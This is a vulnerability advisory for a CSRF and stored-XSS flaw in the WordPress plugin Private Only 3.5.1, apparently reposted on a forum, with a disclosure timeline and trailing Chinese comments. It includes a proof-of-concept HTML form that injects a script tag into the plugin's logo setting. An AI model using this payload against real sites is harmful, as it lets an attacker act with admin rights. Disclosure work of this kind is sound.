WordPress Private Only 3.5.1 CSRF / XSS
Details================
Software: Private Only
Version: 3.5.1
Homepage: http://wordpress.org/plugins/private-only/
Advisory report: https://security.dxw.com/advisories/csrfxss-vulnerability-in-private-only-could-allow-an-attacker-to-do-almost-anything-an-admin-user-can/
CVE: CVE-2015-5483
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)
Description
================
CSRF/XSS vulnerability in Private Only could allow an attacker to do almost anything an admin user can
Vulnerability
================
This plugin fails to use CSRF and XSS prevention techniques which are available in WordPress (nonces, and esc_attr()) so it allows an attacker to cause a logged in admin user to be the victim of a CSRF attack which stores malicious content in the database which, due to lack of escaping, is output as raw HTML. Via JavaScript the attacker is able to cause the user’s browser to do almost anything including add users, delete posts, and even modify PHP files if that option hasn’t been disabled.
Proof of concept
================
Pressing the submit button here will change the logo setting to contain some JavaScript. Browsers with no reflected XSS prevention (like Firefox) will execute the JavaScript immediately, other browsers will execute the JavaScript when the page is loaded next.
<form method=\"POST\" action=\"http://localhost/wp-admin/options-general.php?page=privateonly.php\">
<input type=\"text\" name=\"po_logo\" value=\""><script>alert(1)</script>\">
<input type=\"text\" name=\"po_submit\" value=\"Y\">
<input type=\"submit\">
</form>
Mitigations
================
Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/
Please contact us on security@dxw.com<script cf-hash="f9e31" type="text/javascript">
/* <!.getAttribute("cf-hash"))return t}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */</script> to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org<script cf-hash="f9e31" type="text/javascript">
/* <!.getAttribute("cf-hash"))return t}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */</script>) as they generally cannot communicate with us on your behalf.
This vulnerability will be published if we do not receive a response to this report with 14 days.
Timeline
================
2015-03-20: Discovered
2015-07-09: Reported to vendor by email
2015-07-09: Requested CVE
2015-07-31: No reply. Tried on twitter and got a brief response
2015-08-18: After multiple further attempts, still no reply. Escalating to WP Plugins
Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information. 还是不错的哦，顶了 学习学习技术，加油！ 支持，看起来不错呢！ 支持，看起来不错呢！ 支持中国红客联盟(ihonker.org) 感谢楼主的分享~ 感谢楼主的分享~